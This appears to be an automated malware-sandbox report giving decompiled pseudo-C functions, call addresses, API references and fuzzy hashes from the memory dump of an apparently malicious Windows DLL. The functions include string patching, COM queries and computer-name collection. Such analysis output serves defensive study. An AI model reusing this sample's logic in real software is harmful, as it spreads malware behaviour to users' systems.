			E00F01DF4(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0xf0d238, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E00F0A749(_t57 - _a4, _a4, _t48);
							_t38 = E00F0A749(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E00F0A749(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}

0x00f01dfc
0x00f01dff
0x00f01e01
0x00f01e0a
0x00f01e1c
0x00f01e1c
0x00f01e20
0x00f01e22
0x00f01e25
0x00f01e28
0x00f01e31
0x00f01e3b
0x00f01e3f
0x00f01e44
0x00f01e54
0x00f01e5a
0x00f01e5e
0x00f01ead
0x00f01e60
0x00f01e60
0x00f01e69
0x00f01e78
0x00f01e7d
0x00f01e8a
0x00f01e93
0x00f01e9e
0x00f01ea5
0x00f01ea9
0x00f01ea9
0x00f01e5e
0x00f01eb4
0x00f01ebb

APIs

lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 00F01E28
StrStrA.SHLWAPI(00000000,?), ref: 00F01E35
RtlAllocateHeap.NTDLL(00000000,?), ref: 00F01E54

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrlen
String ID:
API String ID: 556738718-0
Opcode ID: 1ba55e1e5d308bf06955c077a1623c622f4ab275b0aaa9a65f57478bcdbffac1
Instruction ID: 25dc84d8b09ba9a1ab72ff6c2c4383a6c8feff1da11544a0fc95ec4db72b94a8
Opcode Fuzzy Hash: 1ba55e1e5d308bf06955c077a1623c622f4ab275b0aaa9a65f57478bcdbffac1
Instruction Fuzzy Hash: 6F214A36A00249EFCB11DFA9C884B9EBFB5BF84310F048251EC04AB345C734E915EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A273, Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00F0A273(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t14 = E00F06891(_a4, _t26, __edi); // executed
				_t28 = _t14;
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0xf0d2a8; // 0x436a5a8
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0xf0e4e8; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0xf0e8ec; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E00F0A62D();
					_push( &_v64);
					if( *0xf0d0e4() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E00F0A62D();
				}
				return _t28;
			}

0x00f0a273
0x00f0a27a
0x00f0a283
0x00f0a288
0x00f0a28c
0x00f0a296
0x00f0a29b
0x00f0a2a0
0x00f0a2a5
0x00f0a2af
0x00f0a2b9
0x00f0a2b9
0x00f0a2b1
0x00f0a2b1
0x00f0a2b1
0x00f0a2b1
0x00f0a2bf
0x00f0a2c5
0x00f0a2c6
0x00f0a2c9
0x00f0a2cc
0x00f0a2cf
0x00f0a2d7
0x00f0a2e0
0x00f0a2e8
0x00f0a2e8
0x00f0a2ea
0x00f0a2ec
0x00f0a2ec
0x00f0a2f6

APIs

Part of subcall function 00F06891: SysAllocString.OLEAUT32(00000000), ref: 00F068EB
Part of subcall function 00F06891: SysAllocString.OLEAUT32(0070006F), ref: 00F068FF
Part of subcall function 00F06891: SysAllocString.OLEAUT32(00000000), ref: 00F06911

memset.NTDLL ref: 00F0A296
GetLastError.KERNEL32 ref: 00F0A2E2

Strings

<, xrefs: 00F0A2A5

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocString$ErrorLastmemset
String ID: <
API String ID: 3736384471-4251816714
Opcode ID: 10c329af281dd65aa7f5797c1c6966d8863657b9de7548ba8029255240bb5716
Instruction ID: 55e3cf53e42e94a7136750c10aabe1f5839ee1ca1310e691c2db1374b0202a7e
Opcode Fuzzy Hash: 10c329af281dd65aa7f5797c1c6966d8863657b9de7548ba8029255240bb5716
Instruction Fuzzy Hash: 11012971D00218ABDB10EFA8DC85EDEBBB8AF08750F044126F904E7291E775D944ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F01526, Relevance: 3.8, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F01526(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed int _t38;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E00F0A71F(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0xf0d2d8, 0x90);
					_t27 =  *0xf0d2dc; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E00F01709(0x90, _a4, _t27, 0);
					}
					if(E00F014F3( &_v36) != 0) {
						_t35 = E00F037B8(0x90, _a4,  &_v20,  &_v12,  &_v36, 0); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_t38 = E00F04776(_t55, _a8, _t51, _t46, _a12); // executed
							_v16 = _t38;
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875c6
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E00F0A734(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E00F0A734(_a4);
				}
				return _v16;
			}

0x00f0152c
0x00f01531
0x00f0153e
0x00f01541
0x00f01544
0x00f01549
0x00f0154e
0x00f0155c
0x00f01561
0x00f01566
0x00f0156b
0x00f0156d
0x00f01575
0x00f01575
0x00f01584
0x00f01599
0x00f015a0
0x00f015a7
0x00f015ad
0x00f015b3
0x00f015bb
0x00f015c1
0x00f015c4
0x00f015d1
0x00f015d6
0x00f015da
0x00f015da
0x00f015a0
0x00f015e5
0x00f015f0
0x00f015f0
0x00f015fc

APIs

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

memcpy.NTDLL(00000000,00000090,00000002,00000002,00F05289,00000008,00F05289,00F05289,?,00F0A3FE,00F05289), ref: 00F0155C
memset.NTDLL ref: 00F015D1
memset.NTDLL ref: 00F015E5

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: 1c97f886810cc3bc431b5885be5ca27adc090ac105cb798bd7a6860446158532
Instruction ID: 14491692deb09b5fa85554c88cb16bee4ecd898d8b170233f270089028d96e35
Opcode Fuzzy Hash: 1c97f886810cc3bc431b5885be5ca27adc090ac105cb798bd7a6860446158532
Instruction Fuzzy Hash: 2E214175A00618ABDF11EFA5CC41BEEBBB9BF48750F044015F905EB291E738DA01EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F06096, Relevance: 3.1, APIs: 2, Instructions: 149
serviceCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00F06096(intOrPtr _a4) {
				void* _v12;
				char _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				void* _v46;
				short _v48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr* _t53;
				intOrPtr _t56;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				short _t73;
				intOrPtr* _t74;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t82;
				char* _t98;
				intOrPtr _t100;
				void* _t106;
				void* _t108;
				intOrPtr _t112;

				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t49 =  *0xf0d2a8; // 0x436a5a8
				_t4 = _t49 + 0xf0e450; // 0x52789f8
				_t82 = 0;
				_t5 = _t49 + 0xf0e440; // 0x9ba05972
				_t51 =  *0xf0d158(_t5, 0, 4, _t4,  &_v20); // executed
				_t106 = _t51;
				if(_t106 >= 0) {
					_t53 = _v20;
					_push( &_v12);
					_push(1);
					_push( &_v32);
					_push(8);
					_t98 =  &_v48;
					_push(_t98);
					_push(_t98);
					_push(_t53); // executed
					if( *((intOrPtr*)( *_t53 + 0x3c))() == 0) {
						_t56 =  *0xf0d2a8; // 0x436a5a8
						_t30 = _t56 + 0xf0e430; // 0x52789d8
						_t31 = _t56 + 0xf0e460; // 0x4c96be40
						_t58 =  *0xf0d0f8(_v12, _t31, _t30,  &_v24); // executed
						_t106 = _t58;
						_t59 = _v12;
						 *((intOrPtr*)( *_t59 + 8))(_t59);
						goto L11;
					} else {
						_t71 = _v20;
						_v16 = 0;
						_t106 =  *((intOrPtr*)( *_t71 + 0x1c))(_t71,  &_v16);
						if(_t106 >= 0) {
							_t112 = _v16;
							if(_t112 == 0) {
								_t106 = 0x80004005;
								goto L11;
							} else {
								if(_t112 <= 0) {
									L11:
									if(_t106 >= 0) {
										goto L12;
									}
								} else {
									do {
										_t73 = 3;
										_v48 = _t73;
										_t74 = _v20;
										_v40 = _t82;
										_t108 = _t108 - 0x10;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t106 =  *((intOrPtr*)( *_t74 + 0x20))(_t74,  &_v12);
										if(_t106 < 0) {
											goto L7;
										} else {
											_t77 =  *0xf0d2a8; // 0x436a5a8
											_t23 = _t77 + 0xf0e430; // 0x52789d8
											_t24 = _t77 + 0xf0e460; // 0x4c96be40
											_t106 =  *0xf0d0f8(_v12, _t24, _t23,  &_v24);
											_t80 = _v12;
											 *((intOrPtr*)( *_t80 + 8))(_t80);
											if(_t106 >= 0) {
												L12:
												_t63 = _v24;
												_t106 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63,  &_v28);
												if(_t106 >= 0) {
													_t100 =  *0xf0d2a8; // 0x436a5a8
													_t67 = _v28;
													_t40 = _t100 + 0xf0e420; // 0x214e3
													_t106 =  *((intOrPtr*)( *_t67))(_t67, _t40, _a4);
													_t69 = _v28;
													 *((intOrPtr*)( *_t69 + 8))(_t69);
												}
												_t65 = _v24;
												 *((intOrPtr*)( *_t65 + 8))(_t65);
											} else {
												goto L7;
											}
										}
										goto L15;
										L7:
										_t82 = _t82 + 1;
									} while (_t82 < _v16);
									goto L11;
								}
							}
						}
					}
					L15:
					_t61 = _v20;
					 *((intOrPtr*)( *_t61 + 8))(_t61);
				}
				return _t106;
			}

0x00f060a1
0x00f060a8
0x00f060a9
0x00f060aa
0x00f060ab
0x00f060b1
0x00f060b6
0x00f060bf
0x00f060c2
0x00f060c9
0x00f060cf
0x00f060d3
0x00f060d9
0x00f060e1
0x00f060e2
0x00f060e7
0x00f060e8
0x00f060ea
0x00f060ed
0x00f060ee
0x00f060ef
0x00f060f5
0x00f0618b
0x00f06190
0x00f06197
0x00f061a1
0x00f061a7
0x00f061a9
0x00f061af
0x00000000
0x00f060fb
0x00f060fb
0x00f06102
0x00f0610b
0x00f0610f
0x00f06115
0x00f06118
0x00f06180
0x00000000
0x00f0611a
0x00f0611a
0x00f061b2
0x00f061b4
0x00000000
0x00000000
0x00f06120
0x00f06120
0x00f06122
0x00f06127
0x00f0612b
0x00f0612e
0x00f06133
0x00f0613b
0x00f0613c
0x00f0613d
0x00f0613f
0x00f06143
0x00f06147
0x00000000
0x00f06149
0x00f0614d
0x00f06152
0x00f06159
0x00f06169
0x00f0616b
0x00f06171
0x00f06176
0x00f061b6
0x00f061b6
0x00f061c3
0x00f061c7
0x00f061cc
0x00f061d2
0x00f061d7
0x00f061e1
0x00f061e3
0x00f061e9
0x00f061e9
0x00f061ec
0x00f061f2
0x00000000
0x00000000
0x00000000
0x00f06176
0x00000000
0x00f06178
0x00f06178
0x00f06179
0x00000000
0x00f0617e
0x00f0611a
0x00f06118
0x00f0610f
0x00f061f5
0x00f061f5
0x00f061fb
0x00f061fb
0x00f06204

APIs

IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052789D8,00F068BF,?,?,?,?,?,?,?,?,?,?,?,00F068BF), ref: 00F06163
IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052789D8,00F068BF,?,?,?,?,?,?,?,00F068BF,00000000,00000000,00000000,006D0063), ref: 00F061A1

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryServiceUnknown_
String ID:
API String ID: 2042360610-0
Opcode ID: ad515e2ace85200c3e3d4e61505477e5e36dd3327bf5818545a87c5e357e3729
Instruction ID: 35de966c33f60489328c1ee6bfb85b9aba3bb6f03e17d47f9c849d4206fd5f15
Opcode Fuzzy Hash: ad515e2ace85200c3e3d4e61505477e5e36dd3327bf5818545a87c5e357e3729
Instruction Fuzzy Hash: 96515076D00219AFCB00DFE8C888DAEB7B9FF4C714B044999E915EB261D731AD45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F0219B, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F0219B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00F03AB0(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0xf0d2a8; // 0x436a5a8
						_t20 = _t68 + 0xf0e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E00F057B4(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x00f021a1
0x00f021a4
0x00f021b4
0x00f021bd
0x00f021c1
0x00f0228f
0x00f02295
0x00f02295
0x00f021db
0x00f021e0
0x00f021e4
0x00f021ea
0x00f021ef
0x00f021f6
0x00f02205
0x00f02205
0x00f02209
0x00f0220b
0x00f02217
0x00f02222
0x00f0222d
0x00f02231
0x00f0223b
0x00f0223f
0x00f02241
0x00f02246
0x00f0224d
0x00f0225d
0x00f0225d
0x00f02246
0x00f0223f
0x00f0225f
0x00f02264
0x00f02269
0x00f02269
0x00f0226c
0x00f02275
0x00f0227a
0x00f0227a
0x00f0227f
0x00f02284
0x00f02284
0x00f0227f
0x00f02209
0x00f02286
0x00f0228c
0x00000000

APIs

Part of subcall function 00F03AB0: SysAllocString.OLEAUT32(80000002), ref: 00F03B0D
Part of subcall function 00F03AB0: SysFreeString.OLEAUT32(00000000), ref: 00F03B73

SysFreeString.OLEAUT32(?), ref: 00F0227A
SysFreeString.OLEAUT32(00F085ED), ref: 00F02284

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 4d11e950a040d274b395331557530d1a8c4c3eb0c6ea3faae810def9464ae0c0
Instruction ID: 50fd3a5527a4dc36e69bf233269f4d85f1f9afcb066b1fab3782244c2eb6bec4
Opcode Fuzzy Hash: 4d11e950a040d274b395331557530d1a8c4c3eb0c6ea3faae810def9464ae0c0
Instruction Fuzzy Hash: BF315A72900119EFDF11EFA4CC88C9BBB7AFBC97507104658F8159B251D231ED51EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F06B75, Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F06B75(intOrPtr* __eax, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v16;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;
				intOrPtr _t42;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;

				_push( &_v16);
				_t42 =  *0xf0d2a8; // 0x436a5a8
				_t2 = _t42 + 0xf0e470; // 0x20400
				_push(0);
				_push(__eax);
				_t51 =  *((intOrPtr*)( *__eax + 0x3c))();
				if(_t51 >= 0) {
					_t22 = _v16;
					_t45 =  *0xf0d2a8; // 0x436a5a8
					_t6 = _t45 + 0xf0e490; // 0xe7a1af80
					_t23 =  *((intOrPtr*)( *_t22))(_t22, _t6,  &_v12); // executed
					_t51 = _t23;
					if(_t51 >= 0) {
						_t26 = _v12;
						_t51 =  *((intOrPtr*)( *_t26 + 0x1c))(_t26,  &_v8);
						if(_t51 >= 0) {
							_t48 =  *0xf0d2a8; // 0x436a5a8
							_t30 = _v8;
							_t12 = _t48 + 0xf0e480; // 0xa4c6892c
							_t31 =  *((intOrPtr*)( *_t30))(_t30, _t12, _a4); // executed
							_t51 = _t31;
							_t32 = _v8;
							 *((intOrPtr*)( *_t32 + 8))(_t32);
						}
						_t28 = _v12;
						 *((intOrPtr*)( *_t28 + 8))(_t28);
					}
					_t24 = _v16;
					 *((intOrPtr*)( *_t24 + 8))(_t24);
				}
				return _t51;
			}

0x00f06b81
0x00f06b82
0x00f06b88
0x00f06b8f
0x00f06b91
0x00f06b95
0x00f06b99
0x00f06b9b
0x00f06ba4
0x00f06baa
0x00f06bb2
0x00f06bb4
0x00f06bb8
0x00f06bba
0x00f06bc7
0x00f06bcb
0x00f06bd0
0x00f06bd6
0x00f06bdb
0x00f06be3
0x00f06be5
0x00f06be7
0x00f06bed
0x00f06bed
0x00f06bf0
0x00f06bf6
0x00f06bf6
0x00f06bf9
0x00f06bff
0x00f06bff
0x00f06c06

APIs

IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 00F06BB2
IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 00F06BE3

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interface_ProxyQueryUnknown_
String ID:
API String ID: 2522245112-0
Opcode ID: b84baa1ff87e24637be6424210185d87063d4fe4f6e4826aa0538db6281e78e0
Instruction ID: 141691325ce3fdb8cef2efdc13c947ac22bac51574262cac5bf3126b4a5d853f
Opcode Fuzzy Hash: b84baa1ff87e24637be6424210185d87063d4fe4f6e4826aa0538db6281e78e0
Instruction Fuzzy Hash: CE214279A00619EFCB04DBA4C888D5AF779FFC8704B148A98E905DB364D730ED41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F03D5F, Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 00F03D86

Part of subcall function 00F0219B: SysFreeString.OLEAUT32(?), ref: 00F0227A

SafeArrayDestroy.OLEAUT32(?), ref: 00F03DD6

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeString
String ID:
API String ID: 3098518882-0
Opcode ID: 3ee8ece56490e0af0be622446442a307950ae349556809a6f193e5e169f43404
Instruction ID: b5994e8dc8afd5f2ace599ce64182ce26b18c4bc068ff90cc0697d3dcdc96ecd
Opcode Fuzzy Hash: 3ee8ece56490e0af0be622446442a307950ae349556809a6f193e5e169f43404
Instruction Fuzzy Hash: 56110075A0020DBFDB01DFA8DC45AAEBBB9EF08310F008555FA04E7161E7759A15EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F06207, Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00F0A513), ref: 00F06220

Part of subcall function 00F0219B: SysFreeString.OLEAUT32(?), ref: 00F0227A

SysFreeString.OLEAUT32(00000000), ref: 00F06261

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: a47efda2869e49369c6c2c6d47b741ae3e3639eca51ed26f62d446fdc46e2b4f
Instruction ID: dbff05c182bd35215ecf440aff97d1889037a775ff60efd8be7d6bb73a4b90bb
Opcode Fuzzy Hash: a47efda2869e49369c6c2c6d47b741ae3e3639eca51ed26f62d446fdc46e2b4f
Instruction Fuzzy Hash: AF014B3690010ABFDB019FA8D804DABBBB9FF48714B004562FA08E7120D6309A25EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F058DB, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00F058DB(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E00F0A71F(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E00F0A734(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x00f058e0
0x00f058eb
0x00f058ed
0x00f058f3
0x00f058f5
0x00f058fa
0x00f05903
0x00f05907
0x00f05910
0x00f05914
0x00f05923
0x00f05916
0x00f05917
0x00f0591c
0x00f0591c
0x00f05914
0x00f05907
0x00f0592c

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,00F01FA0,7519F710,00000000,?,?,00F01FA0), ref: 00F058F3

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

GetComputerNameExA.KERNELBASE(00000003,00000000,00F01FA0,00F01FA1,?,?,00F01FA0), ref: 00F05910

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 46519ece08dbac1f2c4a557fd83b0eb449fad8e6fd79c2bcfaf563825de28e29
Instruction ID: 91e928df43d38d332a788b31e0757be741aab3448df6c4cd4129602276e82d9c
Opcode Fuzzy Hash: 46519ece08dbac1f2c4a557fd83b0eb449fad8e6fd79c2bcfaf563825de28e29
Instruction Fuzzy Hash: 00F05437A00609FAEB11D7998D01FAF76FDDBC5B60F250059E504E3180EAB4DE01BA71

Uniqueness

Uniqueness Score: -1.00%

Function 00F04ECA, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0xf0d23c) == 0) {
						E00F01B42();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0xf0d23c) == 1) {
						_t10 = E00F012E5(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x00f04ed1
0x00f04ed2
0x00f04ed5
0x00f04f07
0x00f04f09
0x00f04f09
0x00f04ed7
0x00f04ed8
0x00f04eed
0x00f04ef4
0x00f04ef6
0x00f04ef6
0x00f04ef4
